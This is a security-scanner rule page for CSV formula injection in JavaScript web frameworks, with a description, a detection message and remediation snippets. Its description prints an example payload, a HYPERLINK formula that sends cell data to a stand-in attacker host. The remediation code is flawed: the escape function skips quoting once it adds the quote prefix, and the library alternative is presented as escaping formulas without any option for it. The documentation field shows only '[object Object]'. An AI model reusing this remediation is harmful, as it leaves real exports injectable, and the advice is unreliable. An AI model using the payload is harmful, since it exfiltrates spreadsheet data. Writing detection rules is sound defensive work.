# CSV Injection (Formula Injection) - ID: javascript-csv-injection - Severity: MEDIUM - CWE: CWE-1236 (CWE-1236) - Languages: JavaScript, TypeScript - Frameworks: nodejs, express, fastify, koa, hapi, nestjs, lambda, serverless ## Description Detects untrusted data being placed into CSV output, which can enable formula injection when the CSV is opened in spreadsheet software like Excel or Google Sheets. CSV injection occurs when user-controlled data containing formula characters (=, +, -, @, \t, \r) is written to a CSV file without proper escaping. When opened in spreadsheet software, these formulas can execute arbitrary commands or exfiltrate data. Example attack payload: =HYPERLINK("http://evil.com/"&A1, "Click") This would create a clickable link that sends the contents of cell A1 to the attacker. ## Detection Message Untrusted input from {source} flows into CSV output at {sink} without proper escaping. When opened in spreadsheet software, this can lead to formula injection attacks. ## Remediation Escape CSV cell values by prefixing cells that start with formula characters (=, +, -, @, \t, \r) with a single quote ('). This prevents spreadsheet software from interpreting the value as a formula. ```javascript function escapeCSVCell(value) { if (typeof value !== 'string') return value; // Dangerous formula prefixes const formulaPrefixes = ['=', '+', '-', '@', '\t', '\r']; // If value starts with a formula character, prefix with single quote if (formulaPrefixes.some(prefix => value.startsWith(prefix))) { return "'" + value; } // If value contains comma, newline, or quote, wrap in quotes and escape quotes if (/[,"\r\n]/.test(value)) { return '"' + value.replace(/"/g, '""') + '"'; } return value; } // Usage app.get('/export.csv', (req, res) => { const data = req.query.data; const safeCsvValue = escapeCSVCell(data); res.setHeader('Content-Type', 'text/csv'); res.setHeader('Content-Disposition', 'attachment; filename="export.csv"'); res.send(`Name,Value\n${safeCsvValue},123`); }); ``` Alternatively, use a CSV library like PapaParse or csv-stringify which handles escaping: ```javascript const { stringify } = require('csv-stringify/sync'); app.get('/export.csv', (req, res) => { const records = [ ['Name', 'Value'], [req.query.data, '123'] ]; const csv = stringify(records); res.setHeader('Content-Type', 'text/csv'); res.send(csv); }); ``` ## Documentation [object Object]